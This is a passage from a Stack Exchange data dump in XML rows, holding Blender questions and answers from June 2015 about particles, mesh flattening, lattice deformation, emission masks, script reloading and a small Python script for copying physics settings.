workbench.blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Please don't answer this question by saying &quot;get Avastar&quot; or something to that effect, because I can't afford it right now.&lt;/p&gt;&#xA;" OwnerUserId="15108" LastEditorUserId="2217" LastEditDate="2015-06-30T02:39:26.830" LastActivityDate="2015-12-06T17:49:39.693" Title="SL Skeleton, Avatar Workbench, MH Avatar import problem" Tags="&lt;import&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33083" PostTypeId="1" CreationDate="2015-06-27T17:15:41.927" Score="0" ViewCount="30" Body="&lt;p&gt;I'm making a forest along hills. I managed to setup my particles to follow the topology, but when I add more objects into the group, the new objects float above the topology randomly. Of course I have it set to random, but the altitude should be along the topology. How can I fix that? The objects that are duplicated are slightly below 0 on the z axis and then they are selected as the group to set for the particle.&lt;/p&gt;&#xA;" OwnerUserId="15270" LastActivityDate="2015-06-27T23:15:01.847" Title="How can I keep my objects or groups as particles level on the field" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33084" PostTypeId="1" CreationDate="2015-06-27T17:28:24.820" Score="1" ViewCount="360" Body="&lt;p&gt;I am very familiar with cycles and its material nodes. Now I want to use luxrender, because it has a nice net rendering system. Is there any way to convert the cycles materials to luxrender materials?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="6433" LastEditDate="2015-06-28T09:44:43.650" LastActivityDate="2015-06-28T09:44:43.650" Title="Cycles to Luxrender" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2016-07-19T18:51:34.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="33085" PostTypeId="1" AcceptedAnswerId="33259" CreationDate="2015-06-27T18:00:18.397" Score="0" ViewCount="95" Body="&lt;p&gt;I'm trying to paint a terrain in Blender. It has a lot of vertices (132 000) and when I'm getting to that step nothing happens. I decreased the number of vertices in the terrain and then everything works fine. So is there a upper limit? And if so what is the limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The steps I took in Blender&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Selected the object in edit mode.&lt;/li&gt;&#xA;&lt;li&gt;Unwrap.&lt;/li&gt;&#xA;&lt;li&gt;UV/image editor.&lt;/li&gt;&#xA;&lt;li&gt;Saved the image.&lt;/li&gt;&#xA;&lt;li&gt;3D view.&lt;/li&gt;&#xA;&lt;li&gt;Texture paint mode.&lt;/li&gt;&#xA;&lt;li&gt;Add paint slot (normal).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The version I'm using is Blender 2.74&lt;/p&gt;&#xA;" OwnerUserId="2428" LastEditorUserId="2217" LastEditDate="2015-06-27T18:36:39.860" LastActivityDate="2015-07-01T11:03:19.090" Title="Is there upper limit to vertices in texture paint?" Tags="&lt;uv&gt;&lt;vertices&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33086" PostTypeId="1" CreationDate="2015-06-27T18:30:10.960" Score="2" ViewCount="508" Body="&lt;p&gt;Windows 7 Pro x64&#xA;Blender 2.74 - 2.75rc2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious if anyone else has had this error with Blender? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: EXCEPTION_ACCESS_VIOLATION&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where is the violation coming from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've have been having a lot of issues with crashes since 2.73, and recently it has come down to this error alone. It usually happens when I'm selecting the material menu, creating a material, and even deleting meshes with materials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did reload to factory defaults, and created all new userprefs, and of course created a new startup file to go with it. Other issues I was having went away after that, but this one crashing issues still happens, and quite a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;a href=&quot;https://drive.google.com/file/d/0B2-k_tNVb4phYXpyTXJua2xveDg/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;startup file&lt;/strong&gt;&lt;/a&gt; if anyone wants to look at it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've really cut down on the addons trying to track this down, but it doesn't seem to be related. There is nothing before the error, just a simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: EXCEPTION_ACCESS_VIOLATION&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping someone knows what this violation means, so that hopefully I can remedy this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="14374" LastEditorUserId="14374" LastEditDate="2015-06-27T18:36:28.800" LastActivityDate="2015-06-27T19:11:03.930" Title="Constant Crashes with Blender mostly from Materials" Tags="&lt;customization&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-06-28T00:54:04.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="33087" PostTypeId="1" AcceptedAnswerId="33090" CreationDate="2015-06-27T18:55:08.327" Score="4" ViewCount="8055" Body="&lt;p&gt;I have added a plane in top view. I have then extruded the plane according to a floorplan in topview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what happened, but when I switched my view, I could see that some parts of it are for some reason high up in the air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask how I can bring everything back down onto the grid / floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if somebody could tell me how this might have happened, I would also be glad.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UQVAj.png&quot; alt=&quot;mesh at different heights&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="2217" LastEditDate="2015-06-27T19:38:13.590" LastActivityDate="2015-06-28T09:56:23.430" Title="Bring all planes in mesh to same level" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33088" PostTypeId="1" CreationDate="2015-06-27T18:59:45.833" Score="1" ViewCount="185" Body="&lt;p&gt;I am working on a cartoon style animated character who has unrealistic non-spherical eyes.&#xA;&lt;code&gt;Warning, it looks really dumb from this angle.&lt;/code&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/gWGwy.png&quot; alt=&quot;Eyes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that because the eyes of my character are not spherical, attempting to move the iris and pupil simply by rotating the eye is not possible. I am now trying to figure out a way to manipulate the iris &amp;amp; pupil separately. However, when moving the eyes it is almost impossible to keep the surfaces together, but shrink wrapping causes the geometry to warp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate some help and suggestions on how to get this to work. Thank you. &lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-06-27T18:59:45.833" Title="Keeping a mesh flush against another surface without ruining geometry (Non-Spherical Eyes)" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33089" PostTypeId="2" ParentId="33075" CreationDate="2015-06-27T19:00:11.713" Score="2" Body="&lt;p&gt;I would highly recommend using a &lt;a href=&quot;http://www.blender.org/manual/modifiers/deform/lattice.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;lattice&lt;/a&gt; for the deformation. A lattice will give you much more control over the simple deform, and the base mesh will still stay completely unaltered. Here are the steps I used to make the lamp shape.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start by deleting all but one of the faces loops in a UV Sphere.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/idI8C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty (at the same location as the sphere) it will be used to control an array modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an array modifier to the sphere sliver. Set the count to something around 14. Disable &lt;em&gt;&quot;Relative Offset&quot;&lt;/em&gt;, and set the &lt;em&gt;&quot;Object Offset&quot;&lt;/em&gt; to the empty you just added.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xR9lr.png&quot; alt=&quot;array modifier settings&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Lattice&lt;/em&gt; (again at the same location as the sphere object), scale the lattice up (in edit mode) to the size of the sphere. Now &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;parent&lt;/a&gt; the sphere to the lattice with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;&quot;Lattice Deform&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All that is left to do, is increase the subdivisions of the lattice (so you can shape the lamp) and then go in to the lattice's edit mode and actually shape the lamp the way you want. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/s6Yzw.png&quot; alt=&quot;lattice settings&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After transforming some of the control points of the lattice, it will look something like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yayta.png&quot; alt=&quot;lattice and sphere&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-27T19:00:11.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33090" PostTypeId="2" ParentId="33087" CreationDate="2015-06-27T19:00:20.383" Score="5" Body="&lt;p&gt;Switch to object mode using the &lt;kbd&gt;tab&lt;/kbd&gt; key, then press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; to scale the model to a uniform value on the z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that the selected region will be scaled to the median of all the selected vertices, effectively flattening the selection.&lt;/p&gt;&#xA;" OwnerUserId="6445" LastEditorUserId="3401" LastEditDate="2015-06-28T09:56:23.430" LastActivityDate="2015-06-28T09:56:23.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33092" PostTypeId="1" CreationDate="2015-06-27T19:20:13.337" Score="2" ViewCount="167" Body="&lt;p&gt;I'm new to Blender.  I'm running the latest (2.74).  I have made a complex scene, with a camera following a Curve Path.  I would simply like to stop the camera from moving, from time to time, to allow the viewer to take a good look at whatever the camera is pointing at, then continue along the path.  I have searched and searched and tried a few tutorials, but nothing works for me.  I'm missing a simple procedure, I know!  I've read about doing animation all with keyframes instead of following a path, which seem to make it easier to have control, but I don't want to re-invent my complex path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried messing the inserting keyframes manually into the timeline and then editing them in the Dope Sheet but failed miserably.&lt;/p&gt;&#xA;" OwnerUserId="15272" LastEditorUserId="2217" LastEditDate="2015-06-28T22:23:53.087" LastActivityDate="2015-06-28T22:23:53.087" Title="Add a pause to an animated camera (following curve path)" Tags="&lt;animation&gt;&lt;camera&gt;&lt;bezier-curves&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="0" ClosedDate="2015-06-27T23:07:49.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="33093" PostTypeId="2" ParentId="33087" CreationDate="2015-06-27T19:21:19.057" Score="3" Body="&lt;p&gt;In side view and wireframe shading, border select &lt;kbd&gt;B&lt;/kbd&gt; all the vertices that are too high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 3D view header turn on snapping and change the &lt;em&gt;&quot;Snap Element&quot;&lt;/em&gt; to &lt;em&gt;Edges&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, and hover over one of the edges at the correct location, &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm the transformation.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fjVrz.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That is using snapping, but you can also just scale the faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping just the too high faces selected, select one of the correct height, and make it the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active&lt;/a&gt; face.&lt;br&gt;&#xA;Change the &lt;em&gt;&quot;Pivot point&quot;&lt;/em&gt; to &lt;em&gt;&quot;Active Element&quot;&lt;/em&gt;, then scale to zero along the Z axis.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/igrzS.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-06-27T19:35:46.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33094" PostTypeId="1" AcceptedAnswerId="33111" CreationDate="2015-06-27T20:35:42.083" Score="1" ViewCount="963" Body="&lt;p&gt;Should reloading scripts with &lt;kbd&gt;F8&lt;/kbd&gt; cause issues with the UI, and Blender all together? It has been doing such to me (factory defaults), but I don't know much about the feature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common issue arising is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.75\scripts\addons_contrib\&#xA;space_view3d_quickPrefs.py&quot;, line 939, in setup&#xA;    gllightpreset_chooseLoadLocation(1)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.75\scripts\addons_contrib\&#xA;space_view3d_quickPrefs.py&quot;, line 604, in gllightpreset_chooseLoadLocation&#xA;    filepath=bpy.context.scene.quickprefs.gllightpreset_importdirectory&#xA;AttributeError: 'Scene' object has no attribute 'quickprefs'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is with factory defaults, but after reloading scripts. I have not changed the scripts folder either. Vanilla settings. This error will pop up every 100ms, until I enable the QuickPrefs addon from the Testing branch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really not worried about the issue of quickprefs, more than I'm really trying to find answers to the following questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Is the reload scripts command (default &lt;kbd&gt;F8&lt;/kbd&gt;), only reloading the base script folder built-in with the Blender install, or does it reload all scripts referenced in the instance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Does the &quot;Scripts&quot; Folder setting effect what folder is reloaded when executing &quot;Reload Scripts&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Is it common for a brand new install, without any changes, or enabled addons to error when reloading scripts after it's very first startup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of these questions is so that I may understand that portion of Blender quite a bit better, as well as know what is considered &quot;normal behavior&quot; before reporting bugs. My apologies for not being more clear. &lt;/p&gt;&#xA;" OwnerUserId="14374" LastEditorUserId="14374" LastEditDate="2015-06-28T03:54:59.410" LastActivityDate="2015-06-28T16:15:10.647" Title="Reloading Scripts Behavior" Tags="&lt;scripting&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33095" PostTypeId="1" CreationDate="2015-06-27T20:35:43.423" Score="0" ViewCount="39" Body="&lt;p&gt;I am trying to extrude a 2D floorplan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I somehow managed to mess it up. For some reason, some faces are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded my blender file here:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36771&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36771&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to easily fix that, or should I just start from scratch hoping I won't make the same mistake again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pb7LZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-06-27T20:35:43.423" Title="Fix or make new?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33099" PostTypeId="1" AcceptedAnswerId="33108" CreationDate="2015-06-27T23:27:33.187" Score="3" ViewCount="637" Body="&lt;p&gt;Right now I am faking it by filling a mesh's volume with particles and dissolving it twice with different turbulence setting, then flipping the animation of one to join the two clips together. It's a huge hassle and it would be great if I could do it all in a single pass, I just don’t know if it's possible or how.&lt;/p&gt;&#xA;" OwnerUserId="15275" LastEditorUserId="2217" LastEditDate="2015-06-28T00:54:39.473" LastActivityDate="2018-06-25T04:28:32.630" Title="How would you animate a particle system to start dispersed, converge to fill a mesh, then explode?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33101" PostTypeId="1" AcceptedAnswerId="33192" CreationDate="2015-06-28T00:53:55.537" Score="8" ViewCount="10287" Body="&lt;p&gt;So I have a giant object that is completely uv unwrapped. I would like to make areas of the object with a specific area of texture emit light.&#xA;&lt;a href=&quot;https://imgur.com/9V7A9tX&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/9V7A9tX.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this object (and it is only one object) only has one material. I would like the lava to emit light, but I cannot move it to a separate material without breaking something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find a method where I can select a part of the texture and tell blender that whatever has that part of the texture emits light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2019-03-07T23:32:52.913" Title="Cycles Emit Light from area on Texture" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="22" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33102" PostTypeId="2" ParentId="33101" CreationDate="2015-06-28T01:15:32.857" Score="6" Body="&lt;p&gt;You a black and white mask of the lava parts, by which you can mix between the current shader and an emission shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have no other way to generate such a mask, here's one option: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find some aspect about the lava which separates it from the rest of the texture. It seems to be bright orange, where the rest of the texture is relatively dim. If you can set all the pixels with a value &amp;lt; dimmest pixel of lava to 0, you have a mask. A &lt;em&gt;less than&lt;/em&gt; math node can work well for this, but I like using a color ramp node as it is easier to only allow a range of values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to emit light from the blue part of the blender logo, I first separated out the blue channel of  the image with a &lt;em&gt;Separate RGB&lt;/em&gt; node. Then I used a color ramp node to allow only blue pixels within a certain value range:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YDrvq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This particular example isn't very good, but I think you might have better results with your image.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the results of the color ramp threshold better, temporarily connect it to an emission shader. I &lt;strong&gt;highly&lt;/strong&gt; recommend the &lt;a href=&quot;https://blender.stackexchange.com/a/1969/599&quot;&gt;&lt;em&gt;Node Wrangler&lt;/em&gt;&lt;/a&gt; addon, which will let you do this quickly by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; on any node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in your image almost everything is red, so separating the color channels probably won't do much.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-06-29T03:31:35.227" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33103" PostTypeId="2" ParentId="31970" CreationDate="2015-06-28T03:00:11.253" Score="1" Body="&lt;p&gt;Despite the settings being presented as a unified collection, there is some inconsistency within the physics settings. The force field, collision and rigid body settings adjust object properties, while the others are modifier properties. While the distinction may seem small it alters the location of settings when trying to access them from python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we set &lt;code&gt;obj = bpy.context.active_object&lt;/code&gt; then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# force field settings -&#xA;obj.field.strength = 1.4&#xA;# collision settings&#xA;obj.collision.stickiness = 0.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While modifier properties belong inside the modifier settings data -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cloth&#xA;obj.modifiers[&quot;Cloth&quot;].settings.mass = 0.4&#xA;# soft body&#xA;obj.modifiers[&quot;Softbody&quot;].settings.friction = 0.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can create a short script to copy the soft body settings from the active object to selected objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&quot;&quot;&quot;&#xA;Copy soft body settings from active object to selected objects&#xA;&quot;&quot;&quot;&#xA;&#xA;srcSoftBody = bpy.context.active_object.modifiers['Softbody']&#xA;&#xA;def mod_copy(source, target):&#xA;    for attr in dir(source):&#xA;        if attr == 'effector_weights':&#xA;            mod_copy(source.effector_weights,target.effector_weights)&#xA;        elif not attr.startswith('__'):&#xA;            try:&#xA;                setattr(target, attr, getattr(source, attr))&#xA;            except:&#xA;                pass&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj is not srcobj:&#xA;        mod_copy(srcSoftBody.settings,obj.modifiers['Softbody'].settings)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With some small adjustment this could be adapted to be used for other physics settings. While fluid and cloth should work with adjusting the modifier name, smoke and dynamic paint have settings in multiple groups, eg instead of &lt;code&gt;settings&lt;/code&gt; smoke uses &lt;code&gt;domain_settings&lt;/code&gt;, &lt;code&gt;flow_settings&lt;/code&gt;, and &lt;code&gt;coll_settings&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-28T03:00:11.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33104" PostTypeId="2" ParentId="33077" CreationDate="2015-06-28T03:56:55.943" Score="1" Body="&lt;p&gt;When you have one mesh object and you want parts of it to be hidden in object mode depending on some chosen options you can use a mask modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make use of the mask modifier you first setup some vertex groups, you may be able to do this by selecting based on the material applied, otherwise you need to select different vertices and add them to a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the vertex groups setup you can add a mask modifier for each group, then you can easily turn on/off the different parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hgoui.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mask modifier shows only vertices in the selected group, clicking the arrows next to the vertex group name inverts this so it hides the chosen vertices.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-28T03:56:55.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33105" PostTypeId="1" CreationDate="2015-06-28T04:31:14.907" Score="3" ViewCount="7311" Body="&lt;p&gt;I'm extremely new to Blender. I literally just downloaded it, I was trying to import a .obj file however when I try I get the error message you see in the title. Any way to get around this? please help. Thanks.&lt;br&gt;&#xA;I have the steam version.&lt;/p&gt;&#xA;" OwnerUserId="15279" LastEditorUserId="3078" LastEditDate="2015-12-15T19:33:36.830" LastActivityDate="2015-12-15T19:33:36.830" Title="Why do I get a &quot;Permission Denied&quot; error when importing an obj file?" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33106" PostTypeId="2" ParentId="33094" CreationDate="2015-06-28T04:46:12.073" Score="1" Body="&lt;p&gt;Every addon uses a register function that allows it to add operators, panels, extra properties etc that it uses to work, it also has an unregister function to undo these changes when the addon is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If disabling an addon gives errors after being disabled that are related to properties or functions that it setup, then it is a bug in the addon that should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may notice that the addon you refer to is from addons_contrib, which is a collection of addons available that haven't been accepted as official addons to be included in release versions. Chances are this error is a known one and is one of the reasons it is still in contrib. In this case a release candidate is not being considered as a release version and includes the contrib addons, which may not be the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While reloading scripts can help in some cases, it doesn't remove every change and start from scratch, for that you will need to quit then start blender. I believe reloading scripts relies on the unregister functions mentioned earlier to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you are using a new install or an old one, it depends on the addon scripts enabled to whether any issues like this happen.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-28T04:46:12.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33107" PostTypeId="1" CreationDate="2015-06-28T04:50:50.477" Score="0" ViewCount="1149" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bkLr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PgbpJ.png&quot; alt=&quot;enter image description here&quot;&gt;I was trying to do some work on a part in blender, I had most everything else hidden. I clicked on some other part and the one I was working on disappeared. I can't find it on any layer, alt-h isn't doing anything. How can I get the part back? &lt;strong&gt;The part that's missing is only showing a handful of faces, the rest of it won't show.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/298/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=298&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Well apparently it was some bug in blender, i left the file open for a while in the background, i went to it again, it reloaded and now it's working fine.&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-28T14:43:11.127" Title="How to unhide part?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-28T14:43:18.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="33108" PostTypeId="2" ParentId="33099" CreationDate="2015-06-28T07:06:38.860" Score="2" Body="&lt;p&gt;That is a job for &lt;a href=&quot;https://docs.blender.org/manual/en/dev/physics/particles/emitter/physics/keyed.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;keyed particles&lt;/a&gt;, you will most likely want to watch some &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20keyed%20particle%20tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial videos&lt;/a&gt; explaining this in more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by creating multiple particle systems, one for the starting position with the particles dispersed, a second one filling the shape that you want, then a third exploding them outwards. Then you setup another with physics set to keyed, in the keys list you add an entry for each system you have setup previously in the order you want them run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When played the particles will move from position to position of each particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/index.php?id=49792&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a quick example file&lt;/a&gt; that may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNeXc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2018-06-25T04:28:32.630" LastActivityDate="2018-06-25T04:28:32.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
